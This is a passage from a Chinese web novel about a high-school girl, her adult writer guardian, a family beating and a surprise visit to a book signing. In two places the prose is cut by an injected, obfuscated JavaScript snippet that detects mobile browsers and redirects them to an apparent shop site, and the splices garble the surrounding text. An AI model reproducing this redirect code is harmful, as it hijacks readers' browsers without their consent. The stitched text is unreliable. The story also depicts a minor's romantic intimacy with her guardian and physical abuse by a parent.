喻衍很惊讶的样子,用手把额前润滑的八字刘海拨到耳后去。然后艰难地咽下最后一口面,抬起头来看余杭清,“怪你做什么。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819991|191012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 余杭清说,“怪我吃的太快。像是让你一个人吃剩饭似的。” 喻衍说,“可是你是为了替我擦头发,你在你们家也是这样吃的,而且你们家小孩那么多,如果你不吃的快的话,能吃到什么喜欢的呢。” 喻衍说“很庆幸。还好你可以这样狼吞虎咽的吃的很快,哪怕是囫囵吞枣,也吃了很多喜欢的东西,至少在家里的争夺中能赢。没有真的饿肚子。” 连这种猪八戒吃人参果似的,不讲礼貌的哄抢,到了喻衍这里也成了可以夸赞的好处。 喻衍竟然庆幸,庆幸余杭清有这样的坏习惯,庆幸余杭清在喻衍看不到的地方,没有受所谓的欺负。 哪有人欺负余杭清呢?余杭清哪值得别人费心思。 可喻衍总为余杭清费心思。 上车饺子,下车面,余杭清是真的回家了,喻衍或许只是想用这碗面接余杭清回去。 可是那个房间太暖和了,喻衍的头发好香,喻衍的眼睛微微下垂,看着面的时候是稍微眯起的,自从减肥开始喻衍就对碳水有些痴迷,琥珀色的眼睛亮晶晶的,被头顶的灯泡照的很闪亮。 鬼迷心窍似的,余杭清在喻衍的额头上亲了一口。 喻衍只是抬着头看着余杭清笑,好像也很喜欢余杭清亲她似的。 好像做梦似的,喻衍连表情都迷茫了,用手抚了抚额头余杭清吻过的地方。 余杭清不在乎这是不是正确的道路了,也不在乎余杭清究竟是什么样的感情了。 余杭清只知道此刻让余杭清觉得温馨高兴,安详自然,余杭清喜欢跟喻衍一起吃饭,想跟喻衍吃每一顿饭。 一日三餐四季。 就那样牵着手一步一步的走回了家,到上楼梯的时候,喻衍大概实在是走不动了,被余杭清牵着手半拖着往上抓。 余杭清一边拖,嘴里念叨着嫌喻衍重。“你真是……减肥减的好无力……” 喻衍一边嘴里念叨着骂余杭清,说“都减到九十多斤了,拽不动肯定是力气小,不行别bb。” 可是余杭清只是想跟喻衍多说两句话,但是余杭清又不知道说什么而已,现在想起来实在是过分了,余杭清应该跟她说两句好听的的,余杭清明知道喻衍在意体重。 喻衍真的好不容易才减下去的,从前没有这么轻。 可是少年时期的余杭清不是不知道这些的,余杭清只是被喻衍刺激了,有些生气似的,把喻衍公主抱起来 抱着她的公主,余杭清就像打了胜仗的将军,一步一步往上走,只是三层楼而已,算得了什么。 喻衍似乎有些惊讶,拍着余杭清的肩膀,“放我下去。” 余杭清才不要放喻衍下去,喻衍是余杭清看准时机好不容易争取到的宝藏。 喻衍的手挂在余杭清的脖颈上,指头紧紧的扣在一起,好像生怕余杭清把她掉下去,而余杭清反复掂了掂。甚至能感受到喻衍的臀肉靠在余杭清的的小臂上。 余杭清好像在高中获得了特别的力量,余杭清真的能抱得动喻衍了。 看着喻衍有些惊慌失措的,用拳头捶余杭清的胸口,然后像触电一样收回去,余杭清觉得有趣至极。 27. 第 27 章宝贝夜夜好眠 哪个女生不都有胸。 喻衍在怕什么?小拳拳捶你胸口,也挺正常的呀,余杭清还没说喻衍耍流氓呢。 可是余杭清一看到喻衍惊恐的眼睛,额头上些许汗水粘着的头发,就什么恶作剧也不想做,什么英雄气儿也不想逞了,一口气爬上去。单手开了门,把喻衍放到床上。 然后自顾自的去厨房切了两片生姜,冰箱拿了可乐煮好,给喻衍端过来让喻衍喝。想了想又单独煮了一锅纯姜茶,连红糖也不放的那种,这家伙在减肥,晚上可能不大愿意吃热量高的。 喻衍不喝,都吃了面了,晚上哪还能再喝这种甜到发慌的碳酸饮料,可是喻衍又娇气的很,觉得红糖姜茶太辣,总喝不下去。 最终还是planb起了功效,完全水和煮熟的姜汁混在一起,被喻衍一口气闷下去,闷到连眼泪都辣出来了,亮晶晶的挂在喻衍的脸颊上,可怜可爱。 喻衍本来不想喝的,可是余杭清一狠心,捏着鼻子在喻衍面前喝了大半碗,刚好连眼泪一起辣出来,余杭清也讨厌生姜这种,带着丝状物纤维感的辣。 眼泪凝在眼眶里,余杭清就忍不住想要捉弄喻衍,余杭清用两只手牵住喻衍的,直愣愣的看着喻衍落眼泪,余杭清说“姐姐,你照顾好自己好不好?就当我求你。” 余杭清什么时候有这种柔软的恳求呢?总是理直气壮的要求,反正喻衍会满足她。 于是就显得更加珍贵,甚至到了珍惜的地步,以至于让余杭清都没来得及说下面的话,就接过来一饮而尽。 她连话术都想好了。 结果眼泪这玩意儿物理攻击太厉害,根本来不及发挥。 “都熬好了。不喝也浪费,只是怕你感冒而已,是你自顾自把衣服脱给我的,哪怕回来那段路捂上了,也冷的。” 没有想到最后竟然是这种不算威胁的威胁起了效。好像这东西算得了一种惩罚似的。 这种惩罚大概也只对喻衍这个蠢货有用。 之前有一段时间听妈妈骂妹妹说她掉的眼泪是马尿。一直在哭,不知道有什么意思。再吵就就回自己房间哭去。 余杭清觉得自己的眼泪大概也没什么用,没什么区别,因为她总是胆怯,总是害怕,总是闻风丧胆。 她的眼泪并不是什么稀缺珍贵的东西,反而哗啦啦的像六月份南方持续的梅雨季一样,浸润着整个青春。点点滴滴的往下落,好像一刻也不停,或许在脸上,又或许在心里。 余杭清有时候觉得喻衍真的很喜欢余杭清,或许喻衍真的对余杭清有那方面的企图,就像余杭清对喻衍一样。 可是余杭清在小县城没有碰见过这样的人,也不知道该怎么做,网上的小说,点进去的时候都心惊肉跳的,大概是近乡情怯,甚至不敢细看,等到看完了情节剧情人设一个也记不住。 后面就也没有看这些书的心思了。 余杭清喜欢喻衍泪湿的眼睛,总是具象的爱着喻衍身体的一处又一处。 尽管罪恶,可是湿漉漉亮晶晶的眸子落在余杭清身上的时候,余杭清还是忍不住喜欢。 余杭清希望余杭清可以吻喻衍,然后像书里写的那样,让喻衍的眼神开始迷茫,让喻衍闭上眼睛,沉溺在余杭清狂风骤雨般的纹理。让喻衍眼里心里都只剩下余杭清,唯余杭清一个而已。 可是喻衍一直也没有对象,也没有相交特别近的友人,甚至没有亲人,喻衍真的唯余杭清一个而已。 不管是什么样的情绪,都只能倾注在余杭清这个混蛋身上了。 把给喻衍端过姜茶的碗拿回去,余杭清没忍住给里面倒了点姜汁可乐,就着喻衍喝过的碗沿喝下去,似乎还能感受到喻衍嘴唇的温热柔软。当然那只是余杭清的想象。 喻衍不跟余杭清接吻。 女孩说想试试那一天被她推开,仔仔细细的教,“这样不可以,接吻只可以跟心爱的人在一起。” 可是她怎么知道她就不是女孩心爱的人呢? 总是自顾自为女孩好似的推拒。 余杭清借着伤心的由头跟喻衍睡在一张床上,从背后拥着喻衍,然后喻衍就回过身来,把余杭清抱在喻衍的怀里。 毫不设防的,透着薄薄的夏季睡裙蹭过来。甚至直接抱着余杭清睡,把腿架在余杭清身上,又因为胳膊一只搭在肩膀上,一只搭在腰上,本身就紧抱着余杭清。干脆成了八爪鱼的姿势箍在余杭清身上。 是枷锁或者束缚吗?并不是,余杭清甚至有种难以言喻的安心,觉得喻衍需要余杭清。 想起来因为什么吵架了,因为弟弟。 中午闲的没事,在家里坐着那个摇摇木马玩,然后直接被弟弟掀翻了。喻衍在后面要掀,如果余杭清动弹的话会把喻衍掀翻。喻衍会受伤的,所以余杭清整个后脑勺和背就直接着地了。 晚上和妹妹吵架,也不是什么大事儿,鸡毛蒜皮的小事,把余杭清的衣服穿脏了而已,余杭清只是讨厌,余杭清们家没有贫瘠到只有余杭清一个人有新衣服的程度,余杭清妈妈给妹妹买的甚至更多,为什么要折磨余杭清。 可是余杭清弟弟打余杭清,余杭清明明那么喜欢弟弟,有钱甚至给弟弟买衣服玩具,甚至鞋子余杭清都买过,可是妈妈说余杭清对弟弟不好,不然弟弟为什么要打她。 就这样主观臆断的下决定,不管,平常都是余杭清妹妹在管弟弟,在给弟弟洗衣服,在带着弟弟玩儿。再陪她看电视上的益智早教。 余杭清被打了实在难受,因为中午摔跤的伤还没好在后背隐隐作痛,余杭清就打弟弟的屁股,然后就被余杭清妈抓起来用笤帚打了一顿。 本身就摔了,背很痛,又被人用笤帚抽,实在是难受,几乎是本能的反击,然后就被挨打赶出来了,这一次让余杭清滚的时候,余杭清起码有一个地方可去,所以余杭清十分感激,又喜欢着喻衍。 喻衍怎么能这么好呢?给了余杭清一个落脚处一个家,在妈妈视弟弟为宝贝,是不可触碰的恶龙的宝物的时候,余杭清也是喻衍的宝物。 是的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819992|191012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,余杭清是勇敢的骑士,而妈妈是恶龙,因为喻衍硬要守护弟弟,根本不管弟弟的想法是什么,也不管余杭清对弟弟究竟好不好,只要喻衍有一点不快意,余杭清的所有付出都被抹杀的一干二净。 请原谅余杭清在这里下如此武断且无用的结论,但是余杭清就是想这样说。 并不仅仅是因为妈妈这次指责余杭清,她指责别人也是这样的。妈妈有了弟弟就好像疯魔了一样。 可是有了喻衍,余杭清就觉得什么都不怪,也不想追了,余杭清把脸贴在喻衍的后背上,感受着喻衍凸起的脊骨,突然就觉得什么都值得,只要碰见了这个人,吃再多的苦也值得。 妈妈扇余杭清的巴掌也值得,余杭清被重重打也值得,因为喻衍来到了余杭清身边,尽管并没有发现余杭清有哪里不一样。 反正余杭清皮糙肉厚,打了脸也不会肿,身上被打了之后,穿着衣服也看不出来,顶多就是有点青紫,都不用揉红花油,喻衍给余杭清揉红花油,余杭清只会更痛。 尽管喻衍很累,也并没有发现这件事情,就昏昏沉沉的抱着自己睡了过去。手臂搂过来的时候,甚至没有避开伤口。 可是这种刺痛感也意味着她抱着她,真真切切的抱着她,越疼越真,反倒让余杭清觉得心里舒服。 余杭清真的是受虐狂来的,没有疼痛就很难感受到爱,只能用激烈的吵架一样的方式去表达自己的喜欢,被逼到无路可退了,才愿意说一句,你根本就不知道我有多爱你。 余杭清几乎渴求着一个人拯救余杭清,而喻衍就是这个人。 她甚至可以为了这个可以久违的可以跟喻衍同床共枕的机会,接受自己挨打的事实,余杭清讨厌挨打,她喜欢跟喻衍待在一起。 如果可以的话,在指定特定情况下,余杭清也可以没有自己的房间。 而且这个床也不用这么大,就这样躺在一个非常非常小的床上,然后像八爪鱼一样紧紧的箍着余杭清,让余杭清又好气又好笑的闭上眼睛,直接晕过去就好了。 第二天早上被喻衍晃起来去上学,非常幸福,可惜喻衍在余杭清遇到的时候就很厉害了,在买房子的时候就规划好了,所以余杭清有住的地方,也不能天天赖着喻衍。 虽然住在喻衍房子里的另一间,也是爱赖着喻衍,但是这种赖着是不一样的,不会贴的那么近,依然是带着神秘、分寸感和空间感,依然让余杭清像崇拜神明一般仰视着喻衍。 就这样直挺挺的像一条咸鱼一样睡过去,因为今天真的碰到了心软的神,喻衍就这样抱着余杭清,箍着余杭清,让余杭清真真切切的感受到喻衍的存在,然后幸福到晕过去。 模模糊糊,听到自己的专属晚安,女人把她搂在怀里,低下头,“我爱你。” 她听到喻衍柔声细语,唱哄睡歌的声音,“我的宝贝宝贝,给你一点甜甜,让你今夜都好眠……” 余杭清听到女人唱完之后像谢幕似的轻声说说出一句,“宝贝今夜好眠。夜夜好眠。” 28. 第 28 章不为难你 相拥而眠,然后一起睁开眼,被刺目的阳光晃醒。大概十到十一点吃一顿早午饭。这是余杭清在睡前的幻想,而醒来被窝冰凉一片。 “怎么又不告而别。”女孩嘟囔着,却几乎已经习以为常。 喻衍总是说“我舍不得你。” 每一次离开,甚至不愿意跟余杭清讲一声。 喻衍说,“不想看到你伤感的依依不舍的,似乎要强行拽着挽留我的眼神,湿漉漉的,像小动物,小猫小狗似的,小狗,总让人舍不得。” 余杭清哪里有让人舍不得,余杭清明明哭的难看死了,因为高中熬夜学习,看小说,脸上还爆好几个痘,明明丑死了。 余杭清的眼泪只会激怒别人,而不是有人作为余杭清的后盾,或者为余杭清妥协放弃些什么。 喻衍怎么能就跟余杭清都不说一声就跑了。 如同排山倒海一般的怒气倾压过来,让余杭清喘不过气,可余杭清却对喻衍说不出一个难听的话,喻衍甚至第二天要出差。 有自己重要的事情要做,依然愿意凌晨三点来接余杭清,带余杭清回家。 余杭清再去怪喻衍,余杭清成什么人了? 可是那种闷闷的,窝囊的不行的,情绪压在心头实在不好受。余杭清可以伸手触摸到喻衍的枕头,喻衍的被子。 被子里还带着余杭清刚刚起床的余温,带着喻衍身上好闻的木质香气,床边还放着喻衍昨天晚上摘下来的手链,大概是早上走的匆忙,没来得及带。 “哎呀,真的烦死了!” “每次都不告而别,也不知道发个消息跟我讲!” 身边的一切都告诉余杭清,余杭清有地方待,有人管,余杭清甚至已经想好了,喻衍出去的这段时间,余杭清就住在喻衍的房间,感受喻衍生活的一切,反正余杭清一直都这么干,喻衍一直都允许。 因为不允许的话,就会像找上门的某些人一样被轰出去,余杭清见过喻衍色厉内荏的跟别人说话。明明很不适应跟其喻衍人交流,也不知道当天为什么那么社牛,要跟余杭清说话。 可喻衍还是像老鹰捉小鸡那种小游戏里保护幼崽的母鸡一样挡在余杭清身前。不管什么事情发生,永远第一时间冲到余杭清身边。 喻衍看起来跟喻衍的下颌线一样坚强利落,实际上很脆弱,柔软的像只小猫,轻轻一搂就到怀里了,连反抗也不舍得,生怕抓伤了余杭清。 余杭清跟喻衍闹过,然后喻衍真的就跟余杭清汇报喻衍的行程。 可是临走了余杭清舍不得,余杭清怕一走之后,所有的东西都消失了,那个时候余杭清还是个叛逆的初中生,余杭清跟喻衍闹,跟喻衍哭。 跟喻衍说“你是不是要丢下我,然后转头把房子卖了,让其她人把我赶出去,我不想你走。” 然后喻衍就真的不走了,结果当天那个会议喻衍没有参加,是网站的重要改革,以至于后面在编辑的提示下,改了一次又一次文,整个人焦头烂额。 余杭清后悔了,余杭清真的后悔了,余杭清看着喻衍扯着自己的头发,往起拽的时候,余杭清就后悔了。 余杭清有什么舍不得?余杭清为什么一定要把喻衍留下来?余杭清现在已经影响到喻衍的事业,影响到喻衍整个人生活和工作的状态了。 后面余杭清就不问了,她跟喻衍说,“你要走的话也不用讲。” “我不想难为你。” “你有工作需求就正常去。” 喻衍答应了,喻衍大概等的就是这句话,喻衍在余杭清面前仿佛永远都是那副胸有成竹的样子。 虚怀若谷,不论余杭清做出多么离谱炸裂的事情,走到喻衍面前,突然就变成了一个需要照顾的小女孩,什么都可以被接受。 可是喻衍不怎么惊讶啊,对余杭清也没有那种特别浓烈的情绪,喻衍后悔,这又舍不得恨余杭清,喻衍为什么不恨余杭清? 如果余杭清不乱闹,不撒泼打滚的话喻衍去参加了这次会议,喻衍可能那些东西接下来之后从构思的时候就可以把它剔除掉,而不是花费精力描绘之后,又要想方设法的删去。 她视作品为自己与现实生活的交界点,每改一笔,都是在消磨喻衍的心血和锐气。 喻衍明明已经替余杭清准备好了一切,家里有WiFi,然后余杭清的手机话费喻衍走之前充了三百,可以给喻衍发消息,然后打电话发微信□□什么都行,杂七杂八的。 甚至是一个视频或者语音通话打过去,喻衍也随时能接得到,喻衍的移动流量是从来不关的,就怕余杭清联系不上喻衍。 余杭清究竟哪点没有安全感? 已经迁就到了这种程度之后,竟然还会有因为余杭清害怕喻衍就不去了,这种事情发生。 喻衍的宠爱已经到达了一种溺爱的地步,甚至让余杭清自己都觉得有些心惊。 余杭清纯胡闹啊,小孩子瞎胡闹,喻衍怎么都纵容,然后又心里暗暗的高兴。 后面余杭清就再也不知道喻衍的行程从网上流露出的一些只言片语,包括喻衍给粉丝报备的的时候才能看到喻衍那一天做了什么,做完了什么。 虽然喻衍自己也会跟余杭清讲,但是余杭清再也不能提前知道了。 或者就是网上大面积发的那种预热,喻衍在某个场馆举行某场签售,大家都知道的,对余杭清来说就好像和不知道区别也不怎么大,只是很短的一段时间而已。这段时间一过,喻衍立马就去往别的地方了。 其实有一段时间真的特别想排喻衍的签售,但是家里的书喻衍都已经签过名了,一开始练手用的就是家里出版社寄来的样书。 也就是说余杭清手里有亲签,特签,文字签甚至是每年过年的时候,喻衍给余杭清写的一封信,大概是超级无敌至尊豪华版特签。 余杭清不明白余杭清去签售会的意义是什么,就是大家好像是想 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随手接过书,打开扉页,就能看到喻衍帮余杭清带回来的那些文字,余杭清更愿意称之为文字,喻衍总是坐飞机,匆匆忙忙的,有时候回来的时候文字摸上去还能印到手上,虽然已经干了,但是那种马克笔要干很久。 笔迹是一种特殊的文字,你仿佛还能感受到喻衍写字或轻或重,在背面留下的印痕,能感受到这个人写这个字的情绪状态,能感受到这个人的性格特点,或飞扬飘逸,或圆润可爱,或端庄立整,或整齐精巧,连喜欢作者的性格特征都能猜的大差不差。 怪不得网上有很多人花很贵的价钱,只为收一本作者签名的书。 可是余杭清还是想去,余杭清想看喻衍在擅长的领域闪闪发光,像直播的时候那样,感觉直播像是线上签售会,虽然不会签售书籍就是了。 好吧,其实余杭清根本解释不出来余杭清为什么想去,余杭清就是突然特别想去。余杭清不甚至不知道喻衍这次的工作行程是什么,是不是签售会。 余杭清在学校拿不到手机,刚拿到手机又在家里忙着跟家里吵架,心情不好,什么也看不进去。 余杭清试图从微博超话里寻找蛛丝马迹,最终又放弃了,喻衍连讲都没跟余杭清讲,肯定不希望余杭清跟过去,如果余杭清现在买飞机票的话,大概或许应该来得及,又或者来不及,又有什么用,浪费几千块钱,就为了去见喻衍一面。 “啊,就是好想见你姐啊,姐姐——” 女孩忍不住在床上翻来滚去。 实际上喻衍可能就快回来了,喻衍给余杭清那么多钱也不容易,余杭清明知道喻衍赚钱辛苦,还想做如此浪费之事,简直称得上是奢侈,又不是什么大富大贵之家,经得起余杭清这样的挥霍。 可是余杭清最后还是去了,过去的机票一千多块钱,因为余杭清定的时间太紧,刚好剩了很多座位没卖出去。余杭清花七百就搞到了,去了之后直接背着书包到了喻衍的签售现场。 请注意,这一天是星期六,而余杭清学校星期天下午六点就要去上晚自习了。 29. 第 29 余杭清背包空空,里面甚至连件换洗衣服也没带,外套也不穿,随便从喻衍衣柜子里拿了件衬衫,牛仔裤,底下再套一双小白鞋就过来了。 那种天蓝色的衬衫很符合她干净清雅的感觉,柔和的像是蓝色郁金香的花瓣。穿在余杭清身上的时候,心灵都被洗涤了,特别像喻衍。 到了现场才发现跟喻衍撞了衫,而签售的队伍已经排了很久很久了。感觉余杭清前面起码得有四五十个人。 喻衍身上穿着的是一件绿色的衬衫,她是个衬衫控,大多数衣服都长这样,而且喜欢马卡龙色系,喻衍身上这件蓝色的和对方身上这件绿色的,几乎除了颜色一模一样。 长长的黑色头发被编成辫子,垂落在喻衍左侧脸庞显得特别温柔,有一种岁月静好的文艺感,在旁边打着的白色大灯下,像是头上戴着光环的天使,每次低头的时候,头发微微垂落下来,又用手拂到耳后去,温润娴静。 今天的五官精致了很多,应该是提前知道要见读者,有做准备,尽管熬了夜,黑眼圈也被遮了个七七八八,透出一点点青色来。好像才看得出来她昨天晚上因为接余杭清而熬了夜。 队伍蜿蜒着,蜷曲着爬了很长很长,像是某种大型爬行动物。 余杭清就在侧面看喻衍。 看她直而挺翘的鼻梁。 看她涂脂抹粉,显得白皙平整的脸和脖颈。 看喻衍仔细修了,又涂了淡淡棕色的眉毛,半直不弯的嵌在额头下方,眼睛微微眯起的时候,就会跟着上挑,有种恰到好处的灵动、狂放。 虽然依然带着那副近视眼镜,但是喻衍的眼睛很亮,讲到兴奋处忍不住手舞足蹈。“你也觉得吧,我也觉得这一块特别好品,当时写完就爽了!” 还戴了蓝色的有色美瞳,遮住那点琥珀色,完全的纯净明亮,把她干净超然的气质提纯的更精炼了。 喻衍的嘴唇总是微微翘起,看上去很愉悦似的,不过喻衍大概是真的愉悦,因为余杭清看到了喻衍右边脸颊侧面有一个小小的梨涡。 不用猜余杭清就知道喻衍肯定穿的是阔腿裤。 喻衍站起来给读者鞠躬的时候,余杭清刚好就看到了。喻衍实在是喜欢各种材质硬挺的阔腿裤。今天倒是有点出乎意料,是条软牛仔,不过剪裁利落,看起来柔和干净。是那种四五点钟的天空蓝。 余杭清看着喻衍微微低垂的头,心动不已,就喜欢喻衍这种浓郁的文青气。 想说一句久违,才发现昨天刚见过面。只好吐露出三个字“好想你。” 队伍一点一点蜿蜒向前,其实余杭清来的真的还是蛮晚,那飞机下午五点多才到,紧赶慢赶也六点多,而这个漫展可能七点半就散场了,毕竟说是八点,也不可能真的到八点了才开始收拾,这已经是散的特别晚的了,还延迟了两个小时。 余杭清看到喻衍还是感冒了,咳嗽着,皱紧眉头,西子捧心似的拍打着自己的胸口,然后默不作声地拿出一个白色口罩戴上,然后继续弯着笑眼给粉丝签名。 不知道过了多久,余杭清终于到了喻衍面前,看着喻衍因为低烧有些发红的脸,都怪余杭清,让喻衍那么晚淋了雨,第二天还要强撑着身体参加大型活动。 如果余杭清那天待在家里就好了,如果余杭清老实一点不吵架就好了,如果余杭清没那么要强,不打弟弟就不会被赶出来了。 如果怎么样就好了,余杭清总是这样想,总是事与愿违的给喻衍造成许多麻烦,然后看着喻衍摸着余杭清的头说没关系。 喻衍总喜欢说babyjusttakeeasy。 喻衍说这是喻衍喜欢的一首歌里的英文部分,余杭清听过的,轻快,特别,温柔。像是在娓娓道来一个故事。 喻衍总唱给余杭清听。 她看到余杭清的时候,瞳孔都放大了,余杭清能看到因为惊喜而睁大的眼眸。“你怎么来了?宝宝?!” “这简直太棒了!” “我也好想你!!!” 喻衍像跟其喻衍粉丝互动一样,跟余杭清十指相扣,然后另一只手往余杭清带来的书上面签字,跟余杭清比心比兔耳朵,拍照片,把余杭清搂在怀里,用手摸余杭清的头。“挺好的,头发挺软和。” 明明都是很寻常的事情,只不过别人是自己想好了动作,跟作者说要怎么干,而余杭清完完全全任由喻衍摆布,做什么余杭清都高兴。 像一场众目睽睽之下的偷欢。 只有余杭清一个人清楚喻衍对余杭清的偏爱,而这个时候,余杭清对这场签售的热情就到达了最高点。甚至用头去蹭女人的手,“暖和的话,要不要多摸几遍?” 余杭清甚至看着喻衍架在旁边拍为vlog的手机里留下她们两个人的身影,“不许剪啊,回去发给我看。” 余杭清知道。只要有余杭清出现的视频,喻衍都会好好保存。 因为喻衍总热衷于记录余杭清,而且记录的美好纯粹,余杭清想相机也是表达人类喜恶的主体,因为这个人余杭清有了许多十分清整漂亮的,甚至可以当做头像许多年不换的照片。 许多人以为她微博头像那张侧影是喻衍自己。实际只有她们两个人知道。 是余杭清。 可是余杭清刚刚签售完,准备自己再逛一逛的时候,就被喻衍派来的女性工作人员拉到了后台里面。 一个爆栗砸上余杭清的额头,喻衍难得这么生气,整个人都怒气冲冲的。“你是不是有病?一个人跑这么远,你自己觉得危不危险,提前说一声,让人去接你不行吗?你哪次提任何要求,我没有满足你。” 余杭清被喻衍打了,也挺生气的,整个人僵在那里。梗着脖子很犟的样子,过了一会儿才嗫嚅着说,“只是想知道你去哪儿了,一个人在家里害怕。你总不告而别。” 余杭清见喻衍忍了又忍,拳头捏了捏又捏,把自己的关节 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“我总渴望炙热的吻落在我眼睫,衔走那滴经年往复的泪。” 不清楚哪一次写在随笔里的,余杭清也不知道她会亲吻余杭清的眼睫。 喻衍亲吻在余杭清的侧脸的时候,余杭清觉得痒,感觉到脸上好像突然湿了一小块。 “好奇怪。” “你为什么亲我的眼睛?” 可是喻衍亲吻余杭清的眼尾,余杭清就想到了这几句。突然觉得自己可以亲回去。 余杭清真是个很卑劣的人啊,甚至偷看喻衍的随笔和日记。 还敢光明正大的写在这里。 可是那是喻衍的家里,是喻衍自己房门和柜子不上锁的,是喻衍把那些东西摊开了,揉碎了放到余杭清面前,诱着余杭清一点一点抽丝剥茧的看的,余杭清看的那么慢,一天才看一点点,舍不得似的反复咀嚼,到了学校,又一点点默写反刍。 怪谁都不应该怪余杭清的哦,余杭清给过喻衍机会,是喻衍自己不愿意阻止的,喻衍都没阻止她,其她人又有什么资格说,谁也不准说余杭清有任何,好吧,余杭清就是个坏小孩。 所以喻衍打余杭清也理所应当。 有人打的小孩才好呢,有人打才说明有人管啊,没人管的时候站在路上都觉得碍眼,人家顶多稍微绕一下过去,然后在心里骂一句,不长眼。 暗恋是一个人的兵荒马乱,余杭清不知道余杭清算不算暗恋喻衍,可是余杭清在心里闪过这么多思绪的时候,喻衍看起来比余杭清平静的多。 喻衍只是牵着余杭清的手,跟余杭清十指相扣,然后一点一点舔吻着余杭清脸上的泪水,也不害怕造成什么歧义。“不要哭,宝贝。” “我在哄你。” “你来见我,我很开心。”